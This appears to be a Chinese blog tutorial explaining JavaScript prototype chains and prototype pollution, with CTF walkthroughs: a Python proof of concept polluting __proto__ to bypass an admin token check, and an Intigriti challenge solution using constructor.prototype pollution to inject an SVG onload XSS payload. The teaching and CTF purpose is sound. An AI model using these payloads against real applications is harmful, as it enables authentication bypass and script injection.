当前位置: 首页 > news >正文

XSS注入进阶练习篇(三) XSS原型链污染

XSS原型链污染

  • 1.原型链的概念
    • 1.1 构造函数的缺点
    • 1.2 prototype 属性的作用
    • 1.3 原型链
    • 1.4 `constructor`属性
    • 1.5 `prototype`和`__proto__`
  • 2. 原型链污染
    • 2.1 原型链污染是什么?
    • 2.2 原型链污染的条件
    • 2.3 原型连污染实例
      • 2.3.1 hackit 2018
      • 2.3.2 challenge-0422
  • 3.总结

1.原型链的概念

面向对象编程很重要的一个方面,就是对象的继承。A 对象通过继承 B 对象,就能直接拥有 B 对象的所有属性和方法。这对于代码的复用是非常有用的。

大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现,本章介绍 JavaScript 的原型链继承。

虽然ES6题出了类的概念但是其底层实现还是通过原型链来完成的。

1.1 构造函数的缺点

JavaScript 通过构造函数生成新对象,因此构造函数可以视为对象的模板。实例对象的属性和方法可以定义在构造函数内部。

    function Cat(name, color) {this.name = name;this.color = color;}var cat1 = new Cat('大毛', '白色');console.log(cat1.name);console.log(cat1.color);

在这里插入图片描述
上面代码中,Cat函数是一个构造函数,函数内部定义了name属性和color属性,所有实例对象(上例是cat1)都会生成这两个属性,即这两个属性会定义在实例对象上面。

通过构造函数为实例对象定义属性,虽然很方便,但是有一个缺点。同一个构造函数的多个实例之间,无法共享属性,从而造成对系统资源的浪费。也就是说,每新建一个对应的对象,这部分对象间可以共享的固有属性,必须得重新分配内存空间去存储。引发资源浪费。

function Cat(name, color) {this.name = name;this.color = color;this.meow = function () {console.log('喵喵');};
}var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');cat1.meow === cat2.meow

结果:

在这里插入图片描述
上面代码中,cat1cat2是同一个构造函数的两个实例,它们都具有meow方法。由于meow方法是生成在每个实例对象上面,所以两个实例就生成了两次。也就是说,每新建一个实例,就会新建一个meow方法。这既没有必要,又浪费系统资源,因为所有meow方法都是同样的行为,完全应该共享。

这个问题的解决方法,就是 JavaScript 的原型对象(prototype)。

即就是说,JS为了解决构造函数生成实例时,不同实例之间的共享属性方法问题提出了原型链的概念。

1.2 prototype 属性的作用

JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。(原型是一块共享内存区域,在此处可以存放实例之间的共享元素)

下面,先看怎么为对象指定原型。JavaScript 规定,每个函数都有一个prototype属性,指向一个对象。

function f() {}
typeof f.prototype // "object"

我们发现,任何函数都有原型属性,其指向一个对象。

对于普通函数来说,该属性基本无用。但是,对于构造函数来说,生成实例的时候,该属性会自动成为实例对象的原型。

function Animal(name) {this.name = name;
}
//定义构造函数的原型对象的color属性为 'white'
Animal.prototype.color = 'white';//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');//可以访问到实例自动获取的color属性
cat1.color // 'white'
cat2.color // 'white'

上面代码中,构造函数Animalprototype属性,就是实例对象cat1cat2的原型对象。原型对象上添加一个color属性,结果,实例对象都共享了该属性。

原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

Animal.prototype.color = 'yellow';cat1.color // "yellow"
cat2.color // "yellow"

上面代码中,原型对象的color属性的值变为yellow,两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性,都是读取原型对象的color属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。

如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。

cat1.color = 'black';cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';

在这里插入图片描述
上面代码中,实例对象cat1color属性改为black,就使得它不再去原型对象读取color属性,后者的值依然为yellow

总结一下,原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。

再比如我们在构造函数的原型上定义一个walk方法:

Animal.prototype.walk = function () {console.log(this.name + ' is walking');
};

此方法可以在每一个实例中调用:

 function Animal(name) {this.name = name;}Animal.prototype.walk = function () {console.log(this.name + ' is walking');};//创建了两个实例var cat1 = new Animal('大毛');var cat2 = new Animal('二毛');//实例中可以调用对应的方法cat1.walk();car2.walk();

在这里插入图片描述
到这里,我们明白了原型的作用其实就是为构造函数创建的所有实例提供一个共享内存空间,在这个空间内存放的属性方法,每一个新建的实例都可以调用。并且新建的实例允许拥有自己的新实现(修改默认的属性,也就是自定义属性)。

1.3 原型链

JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……

因为构造函数的原型属性指向的就是一个对象,所以这意味着什么?当然是作为对象的原型,也拥有自己的构造函数(object),且其原型属性且指向一个原型。

如果一层层地上溯,所有对象的原型最终都可以上溯到Object.prototype,即Object构造函数的prototype属性。也就是说,所有对象都继承了Object.prototype的属性。这就是所有对象都有valueOftoString方法的原因,因为这是从Object.prototype继承的。

这里的object是整个JS的基点,类似于宇宙的奇点,也就是说,作为object它也是构造函数,所以肯定也有原型属性。而这个原型上面定义的就有tostring和valueof方法。所以,由它创建的所有JS函数也好、实例也罢。均可以访问这两个函数。

那么,Object.prototype对象有没有它的原型呢?回答是Object.prototype的原型是nullnull没有任何属性和方法,也没有自己的原型。因此,原型链的尽头就是null

Object.getPrototypeOf(Object.prototype)
// null

上面代码表示,Object.prototype对象的原型是null,由于null没有任何属性,所以原型链到此为止。Object.getPrototypeOf方法返回参数对象的原型。

读取对象的某个属性时,JavaScript 引擎先寻找对象本身的属性,如果找不到,就到它的原型去找,如果还是找不到,就到原型的原型去找。如果直到最顶层的Object.prototype还是找不到,则返回undefined。如果对象自身和它的原型,都定义了一个同名属性,那么优先读取对象自身的属性,这叫做“覆盖”(overriding)。

注意,一级级向上,在整个原型链上寻找某个属性,对性能是有影响的。所寻找的属性在越上层的原型对象,对性能的影响越大。如果寻找某个不存在的属性,将会遍历整个原型链。

举例来说,如果让构造函数的prototype属性指向一个数组,就意味着实例对象可以调用数组方法。

var MyArray = function () {};MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true

上面代码中,mine是构造函数MyArray的实例对象,由于MyArray.prototype指向一个数组实例,使得mine可以调用数组方法(这些方法定义在数组实例的prototype对象上面)。最后那行instanceof表达式,用来比较一个对象是否为某个构造函数的实例,结果就是证明mineArray的实例。

1.4 constructor属性

prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。

function P() {}
P.prototype.constructor === P // true

由于constructor属性定义在prototype对象上面,意味着可以被所有实例对象继承。

function P() {}
var p = new P();p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false

上面代码中,p是构造函数P的实例对象,但是p自身没有constructor属性,该属性其实是读取原型链上面的P.prototype.constructor属性。

constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。

function F() {};
var f = new F();f.constructor === F // true
f.constructor === RegExp // false

上面代码中,constructor属性确定了实例对象f的构造函数是F,而不是RegExp

另一方面,有了constructor属性,就可以从一个实例对象新建另一个实例。

function Constr() {}
var x = new Constr();var y = new x.constructor();
y instanceof Constr // true

上面代码中,x是构造函数Constr的实例,可以从x.constructor间接调用构造函数。这使得在实例方法中,调用自身的构造函数成为可能。

Constr.prototype.createCopy = function () {return new this.constructor();
};

上面代码中,createCopy方法调用构造函数,新建另一个实例。

constructor属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor属性,防止引用的时候出错。

错误实例:

function Person(name) {this.name = name;
}Person.prototype.constructor === Person // true//修改原型属性的指向
Person.prototype = {method: function () {}
};
//没有主动修改该constructor的情况下,这里会出现不一致的情况
Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true

上面代码中,构造函数Person的原型对象改掉了,但是没有修改constructor属性,导致这个属性不再指向Person。由于Person的新原型是一个普通对象,而普通对象的constructor属性指向Object构造函数,导致Person.prototype.constructor变成了Object

// 坏的写法
C.prototype = {method1: function (...) { ... },// ...
};// 好的写法
C.prototype = {constructor: C,method1: function (...) { ... },// ...
};// 更好的写法 --- 避免对原型对象的直接修改,不破坏结构,用方法名区分
C.prototype.method1 = function (...) { ... };

上面代码中,要么将constructor属性重新指向原来的构造函数,要么只在原型对象上添加方法,这样可以保证instanceof运算符不会失真。

如果不能确定constructor属性是什么函数,还有一个办法:通过name属性,从实例得到构造函数的名称。

function Foo() {}
var f = new Foo();
f.constructor.name // "Foo"

到这里,我们捋清楚了constructor属性的作用,其在是在原型中默认自带的一个属性,值为当前原型的拥有者(指向当前原型所属的构造函数)。可以实现通过实例调用构造函数,做一些实例的拷贝功能。要注意的一点是,constructor属性会自动修改数值,当我们人为的修改了原型属性的指向时,还想用它访问构造函数的话,一定要记得将constructor的数值进行修改,不过更多的建议是不要对原型对象进行指向修改。可以用添加方法的形式在不破坏原型结构的情况下实现功能。

当然利用这个属性我们可以实现通过实例访问原型对象:

<script>function Person(name) {this.name = name;}let per = new Person('batman');console.log(Person.prototype);console.log(per.constructor.prototype);
</script>

在这里插入图片描述

1.5 prototype__proto__

通过上面的学习,我们知道了prototype原型作为构造函数的属性,其指向一个对象。我们可以给这个对象添加一些属性、方法。这些添加在原型上的属性方法,可以被实例对象无条件继承。当然数据是只有一份的。那么如果我们想要在实例中直接访问构造函数的原型应该怎么样访问呢?

这样?

function Foo() {this.bar = 1}Foo.prototype.name = 'this is test for prototype';var foo1 = new Foo();console.log(foo1.name);console.log(foo1.prototype);

在这里插入图片描述
那肯定是访问不到的,因为是这样用的:

  function Foo() {this.bar = 1}Foo.prototype.name = 'this is test for prototype';var foo1 = new Foo();console.log(foo1.name);console.log(foo1.__proto__);

在这里插入图片描述
到这里,我们可以看到其实__proto__的作用就是让实例对象可以访问到自己构造函数的原型对象。也就是说,一直访问我们可以看到原型链:

    function Foo() {this.bar = 1}Foo.prototype.name = 'this is test for prototype';var foo1 = new Foo();console.log(foo1.name);console.log(foo1.__proto__);console.log(foo1.__proto__.__proto__);console.log(foo1.__proto__.__proto__.__proto__);

在这里插入图片描述
看到了吧,真的通过三次原型访问我们找到了null。因为我们的构造函数上一级就是object,所以上走两级,就是object的原型,而object的原型又恰好定义为了null。所以我们可以看到这样的现象。

2. 原型链污染

2.1 原型链污染是什么?

我们通过一个简单的例子来看一看,原型链污染的现象:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 通过对象修改foo的原型中的bar(即Object)
foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar,值为修改后的2
console.log(zoo.bar)

在这里插入图片描述
也就是说,原型链污染的原因就是我们通过谋克可访问的对象,通过__proto__属性,对其构造函数的原型对象进行修改。以此来影响后续此构造函数所创建的每一个实例的对应属性。前提是这个实例没有对该属性进行自定义修改。

2.2 原型链污染的条件

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge 用于结合,拼接
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {//循环取出source中的keyfor (let key in source) {//判断key是否在源目均存在,存在就递归调用mergeif (key in source && key in target) {merge(target[key], source[key])} else {//不存在直接让源覆盖目target[key] = source[key]}}
}

总结来说,这个函数的作用就是,进行对象之间的属性传递,源对象的属性会完全覆盖掉目的对象。目的对象没有的,直接赋值。目的对象有的,递归调用后,还是会将目的对像的相应属性进行覆盖。

我们尝试进行一次污染:

//定义了对象o1和o2,并在o2里面添加了原型作为键
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
//这里o1在复制的过程中会出现 o1._proto__ = {b:2}
//也就是说,后续可以用o3.b访问到原型属性o3.__proto__.b=2
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

结果:

在这里插入图片描述
这里并没有像我们推理的那样,污染到原型链。我们采用断点分析,跟进分析:

在这里插入图片描述
直接没有取出__proto__键,而是忽略掉了。仅仅取出了键a和键b。

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

修改代码:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

继续打断点跟进:
在这里插入图片描述

可以看到,已经取出来__proto__作为键名了,自然最终可以实现原型链污染:

在这里插入图片描述

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

2.3 原型连污染实例

2.3.1 hackit 2018

这道题的灵感来自hackit2018,后端启动了一个nodejs程序,提供两个接口api和admin。用户提交参数,利用原型链污染实现非法修改登录信息,从而登陆admin。

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})

获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。

将上面的源码放到路径下,解决依赖之后就可以运行。我们先来看它的漏洞点:

//请求接口,admin页面验证失败就返回forbidden
app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)//用户提交参数的api接口
app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}//漏洞点,此处用户提交的row和col以及data均可控,那么利用原型链污染的原理就可以污染object原型对象的参数。//污染admintokrn为已知信息matrix[client.row][client.col] = client.data;

先进行本地测试:

在这里插入图片描述
可以实现,进行python的poc编写:

import requests
import jsonurl1 = "http://127.0.0.1:3000/api"
#md5(batman) is the value of querytoken
url2 = "http://127.0.0.1:3000/admin?querytoken=ec0e2603172c73a8b644bb9456c1ff6e"s = requests.session()headers = {"Content-Type":"application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"batman"}res1 = s.post(url1,headers=headers,data=json.dumps(data1))
res2 = s.get(url2)print(res2.text)

效果:
在这里插入图片描述

2.3.2 challenge-0422

challenge-0422是世界著名的XSS挑战网站其中的一期原型链污染挑战。关于这个挑战几乎每一个月都会有一次。挑战成功的人可以获得一些奖品。当然难度也不低。大家有兴趣的可以去参考学习。

0422的意思是22年4月份的题目。在对应URL进行更改即可。

我们来看这道题:

在这里插入图片描述

页面上给了一个模拟windows的程序,显然点击完毕后没有任何反应。我们需要找到对应的JS源码。我们看到源码内部有一个iframe标签。我们尝试进入:

在这里插入图片描述
view-source:https://challenge-0422.intigriti.io/challenge/Window%20Maker.html

这样一来的话,我们就可以开展对于其源码的初步分析了:罗列出其主要的功能代码,建议各位先揣摩揣摩。下面的内容可能有些难以理解

//main函数的位置function main() {//利用qs接收url中?以及以后的内容,并对其进行const qs = m.parseQueryString(location.search)let appConfig = Object.create(null)appConfig["version"] = 1337appConfig["mode"] = "production"appConfig["window-name"] = "Window"appConfig["window-content"] = "default content"//在JS中["string"]的写法,表明这里是一个数组赋值appConfig["window-toolbar"] = ["close"]appConfig["window-statusbar"] = falseappConfig["customMode"] = falseif (qs.config) {//第一次merge的调用位置merge(appConfig, qs.config)//这里把定制按钮打开appConfig["customMode"] = true}//又开始创建对象devsettingslet devSettings = Object.create(null)//一系列的赋值,root接收到的是标签对象devSettings["root"] = document.createElement('main')devSettings["isDebug"] = falsedevSettings["location"] = 'challenge-0422.intigriti.io'devSettings["isTestHostOrPort"] = false//调用了这里的checkhost函数作为依据,进入第二次调用mergeif (checkHost()) {//键值判断 测试主机端口标识位 置1devSettings["isTestHostOrPort"] = true//调用merge覆盖devsettings,覆盖用的参数是qs的settings表明我们可以传递settings这样一个参数进去merge(devSettings, qs.settings)}//判断是测试主机或者debug模式就打印两个对象appConfig和devSettingsif (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {console.log('appConfig', appConfig)console.log('devSettings', devSettings)}//根据custommode的值对devsettings.root采取不同的内容挂载if (!appConfig["customMode"]) {m.mount(devSettings.root, App)} else {m.mount(devSettings.root, {view: function () {return m(CustomizedApp, {name: appConfig["window-name"],content: appConfig["window-content"],options: appConfig["window-toolbar"],status: appConfig["window-statusbar"]})}})}//将devSettings.root插入到body里面去document.body.appendChild(devSettings.root)}//获取当前页面的location信息,提取host仅当端口号为8080时返回true或者hostname为127.0.0.1//返回truefunction checkHost() {const temp = location.host.split(':')const hostname = temp[0]const port = Number(temp[1]) || 443return hostname === 'localhost' || port === 8080}//判断是否非本源?function isPrimitive(n) {return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'}//进阶版的merge函数,内部对于敏感字符特别是"__proto__"进行了过滤function merge(target, source) {let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]//从源中获取键值for (let key in source) {//遇到了包含敏感字符的键直接跳出循环一次予以忽略if (protectedKeys.includes(key)) continue//迭代进行merge的赋值//判断数据类型,类型符合就将其送入sanitize进行过滤。之后在进行赋值if (isPrimitive(target[key])) {target[key] = sanitize(source[key])} else {merge(target[key], source[key])}}}//过滤函数,判断输入是否是字符串,如果是字符串就对其进行过滤function sanitize(data) {if (typeof data !== 'string') return datareturn data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')}main()})()

上面的代码分析完了我们就要开始着手解题了。先找特征函数merge函数。总共出现了两次,第一次触发是无条件的,对appconfig做了修改。目前看来,没有啥大用。第二次呢,是有条件的调用,调用前必须有一个校验函数的返回值为1。通过上面的分析。

作为checkhost函数,其判断依据就是请求的主机名和端口号。目前看来,也是没有任何办法让其检测通过。

再看第二个merge的作用,第二个merge修改覆盖了devSettings这个参数,显然,在main函数结尾,使用了document.body.appendChild(devSettings.root)这让人眼前一亮的插入行为。

大致的思路出来了,我们得先想办法干扰checkhost函数,才有望对插入的devconfigs.root进行污染。我们此时再来看看这个函数:

 function checkHost() {//获取了参数const temp = location.host.split(':')//用了temp数组进行参数的取出const hostname = temp[0]//继续调用temp[1]来取端口号,斯,端口号肯定没显示,取不出来。//那就默认443咯const port = Number(temp[1]) || 443return hostname === 'localhost' || port === 8080}

回想一下原型链污染的基本概念,使用实例访问原型对象并创建相应属性,对新创建的没有该属性的实例进行污染。这里的temp有没有.1这个属性?没有吧,那我们就构造如下参数进行污染:

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080
//我们就是访问到了object.ptototype.1 = 8080 后续新建的temp虽然没有.1这个属性
//但是object作为始祖原型拥有此属性,通过系统循环,找到了这个属性并且值恰好是8080
//于是,绕过了此处的checkhost函数,成功将对sttings的merge引入执行流程。

在这里插入图片描述
现在你肯定有两个疑问:

Q1:为什么不用__proto__访问原型对象?
A1:在进行merge的时候,作者坏坏的过滤了这个参数,遇到这个字符直接会跳出当前循环,忽略它的存在

Q2:控制台里为什么有多处了两个对象?
A2:因为在这里,有判断输出的代码
//判断是测试主机或者debug模式就打印两个对象
appConfig和devSettings
if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) {
console.log(‘appConfig’, appConfig)
console.log(‘devSettings’, devSettings)
}

接下来我们的目标就是污染setting参数,想办法插入完整的JS代码完成XSS:

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E

后面setting的参数是一级一级找寻插入点得到的。比如这样:

在这里插入图片描述

最终弹窗效果:

在这里插入图片描述
注意,这个弹窗又是只能在firefox之外的浏览器上生效。不过无伤大雅,大家能大致理解这个思路就行。通过二次原型链污染,最终插入的我们的JS代码实现了一个XSS弹窗。

3.总结

首先,原型对象的提出是为了解决JS代码中,使用构造函数创建多个有重复属性方法实例时的引发的资源浪费问题。通过给构造函数赋予prototype属性(该指向一个具有共享功能的原型对象),所有写到原型对象中的属性方法都默认被实例继承。当然这并不妨碍实例自定义属性和方法。这就是原型的工作原理。

作为原型对象实例,自然有自己的构造函数(object),故object.prototype上指定的方法会被所有JS函数拥有,也就是我们常说的任何对象都有tostring方法和valueof方法。作为始祖protottpe,始祖原型的它,它的构造函数不存在,故想要访问它的原型对象时,只会返回null。

但是也正是这一机制的存在,构成了原型链,即就是说,任意一个对象访问其不存在的方法属性时,会先找自己的原型对象,自己的原型对象没有时就会再找原型对象的原型对象,循环往复,直到找到object的原型对象的原型对象返回了null才停止寻找。自然,原型链过长会影响性能。

那么,所谓的原型链污染,其原理就是,通过对于某一实例的原型对象属性的修改,让与其同构造函数创建的实例在后续程序运行中,调用被修改过的属性。从而达到影响程序执行进程,实现恶意XSS或其他恶意行为的攻击。其对多见于merge这样的赋值函数。

那么在merge函数中,要使用原型链污染就必须将原型链插入到目标里面去,为了解决merge运行时默认不识别__proto__的问题,我们会对传入merge的参数进行json化处理。依次达到效果,这在hackit2018的payload中有所体现。

那么,在通过实例访问原型对象的过程中,我们不仅仅可以使用__proto__还可以使用constructor.prototype访问。同样可以达到效果,这在challenge-0422挑战中也是作为绕过方法使用。

总的来说,原型链污染这个话题还是有很多更加深入的内容值得探究,本文也只是浅尝辄止。诸位要是有兴趣的话可以再深入探究。随着前端技术能实现的功能日益加强,其出现的安全问题同样不容小视。

路还很长,特别是对于代码的基础功底。还有很长一段路要走,共勉!

在补充一句,原型链污染的预防个人觉得只能从代码书写角度去进行防范,任何会进入到merge的参数都进行过滤。如此一来,可以阻挡一部分原型链污染攻击。

相关文章:

XSS注入进阶练习篇(三) XSS原型链污染

XSS原型链污染1.原型链的概念1.1 构造函数的缺点1.2 prototype 属性的作用1.3 原型链1.4 constructor属性1.5 prototype和__proto__2. 原型链污染2.1 原型链污染是什么&#xff1f;2.2 原型链污染的条件2.3 原型连污染实例2.3.1 hackit 20182.3.2 challenge-04223.总结1.原型链…...

【Java基础 下】 025 -- 阶段项目(斗地主)

目录 斗地主 一、斗地主游戏1 -- 准洗发&#xff08;控制台版&#xff09; 1、准备牌 2、洗牌 3、发牌 4、看牌 二、斗地主游戏2 -- 给牌排序①&#xff08;利用序号进行排序&#xff09; 2、洗牌 3、发牌 4、看牌 三、斗地主游戏2 -- 给牌排序②&#xff08;给每一张牌计算价值…...

华为OD机试真题Python实现【矩阵最值】真题+解题思路+代码(20222023)

题目 给定一个仅包含0和1的n*n二维矩阵 请计算二维矩阵的最大值 计算规则如下 每行元素按下标顺序组成一个二进制数(下标越大约排在低位), 二进制数的值就是该行的值,矩阵各行之和为矩阵的值允许通过向左或向右整体循环移动每个元素来改变元素在行中的位置 比如 [1,0,1,1,1]…...

TypeScript笔记(三)

前言 上一篇文章我们主要介绍了TypeScript的基本类型boolean、number、string、void、null和undefine&#xff0c;还介绍了任意类型any和联合类型&#xff0c;这篇文章我们将会了解对象类型Interface和数组的相关知识。 对象的类型——接口 在TypeScript中&#xff0c;我们使…...

C++(41)-低版本升级到VS2019项目时遇到的问题(2)

1.错误码&#xff1a;MSB8066 代码为3 QT 项目老版本升级到新版本造成的&#xff0c; 1.重新加载项目&#xff1a; 扩展->QT VS tools->Open QT project files-> 2.添加QT模块&#xff1a;QT Project-Settings -> QT Modules2.无法打开QT的头文件 3.…...

git 实战应用

基本使用1.1、使用git想要让 git 对一个目录进行版本控制需要一下步骤&#xff1a;进入要管理的文件夹执行初始化命令git init查看目录下的文件状态git status管理指定文件// 添加指定文件 git add ***.txt// 添加未被管理的所有文件 git add .生成版本git commit -m 描述信息提…...

Linux重启命令shutdown与reboot

在linux命令中reboot是重新启动&#xff0c;shutdown -r now是立即停止然后重新启动&#xff0c;都说他们两个是一样的&#xff0c;其实是有一定的区别的。 shutdown 命令可以安全地关闭或重启Linux系统&#xff0c;它在系统关闭之前给系统上的所有登录用户提示一条警告信息。…...

华为OD机试真题 用 C++ 实现 - 静态扫描最优成本

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…...

拿下宁王、迪王的湖南裕能,还能“狂飙”多远?

文|智能相对论作者|Kinki近日&#xff0c;磷酸铁锂正极材料龙头湖南裕能正式登陆A股&#xff0c;上市当天市值超过了400亿元&#xff0c;投资者中一签可赚1.49万元&#xff0c;可谓近年低迷的资本市场中一支“大肉签”。不过在 “开门红”之后&#xff0c;湖南裕能的股价便一路…...

STM32FreeRTOS - 按键实现任务挂起和恢复

STM32f103C8T6 FreeRTOS - 按键实现任务挂起和恢复&#xff0c;按键按下时&#xff0c;LED任务执行&#xff0c;led闪烁&#xff0c;当led任务挂起&#xff0c;Led停止闪烁。1.STM32CubeMX 创建任务1.1配置GPIO按键配置外部中断触发GPIO绿灯&#xff0c;红灯配置输出模式1.2配置…...

华为OD机试真题Python实现【判断牌型】真题+解题思路+代码(20222023)

判断牌型 题目 五张牌每张牌由牌大小和花色组成 牌大小2~10 J Q K A 花色四种 红桃 黑桃 梅花 方块 四种花色之一 判断牌型 牌型一 同花顺 同一花色的顺子 如红桃 2 红桃 3 红桃 4 红桃 5 红桃 6牌型二 四条 四张相同数字+单张 红桃 A 黑桃 A 梅花 A 方块 A 加黑桃 A牌型三 葫…...

Kafka(7):生产者详解

1 消息发送 1.1 Kafka Java客户端数据生产流程解析 1 首先要构造一个 ProducerRecord 对象,该对象可以声明主题Topic、分区Partition、键 Key以及值 Value,主题和值是必须要声明的,分区和键可以不用指定。 2 调用send() 方法进行消息发送。 3 因为消息要到网络上进行传输…...

FPGA纯verilog代码实现H.264/AVC视频解码,提供工程源码和技术支持

目录1、前言2、硬件H.264/AVC视频解码优势3、vivado工程设计架构4、代码架构分析5、vivado仿真6、福利&#xff1a;工程代码的获取1、前言 本设计是一种verilog代码实现的低功耗H.264/AVC解码器(baseline )&#xff0c;硬件ASIC设计&#xff0c;不使用任何GPP/DSP等内核&#…...

通俗神经网络

经典的全连接神经网络 经典的全连接神经网络来包含四层网络&#xff1a;输入层、两个隐含层和输出层&#xff0c;将手写数字识别任务通过全连接神经网络表示&#xff0c;如 图3 所示。 图3&#xff1a;手写数字识别任务的全连接神经网络结构输入层&#xff1a;将数据输入给神经…...

网络工程(一) 简单的配置

网络工程 简单的配置 需求 两台交换机 两台路由器 两台PC AR1配置静态路由 system-view [HUAWEI]sysname ar1 [ar1]interface g 0/0/0 [ar1-G…0/0/0]ip address 192.168.2.1 24 [ar1-G…0/0/0]quit [ar1]interface g 0/0/1 [ar1-G…0/0/1]ip address 192.168.3.1 24 [ar1-G…...

深度剖析数据在内存中的存储(上)

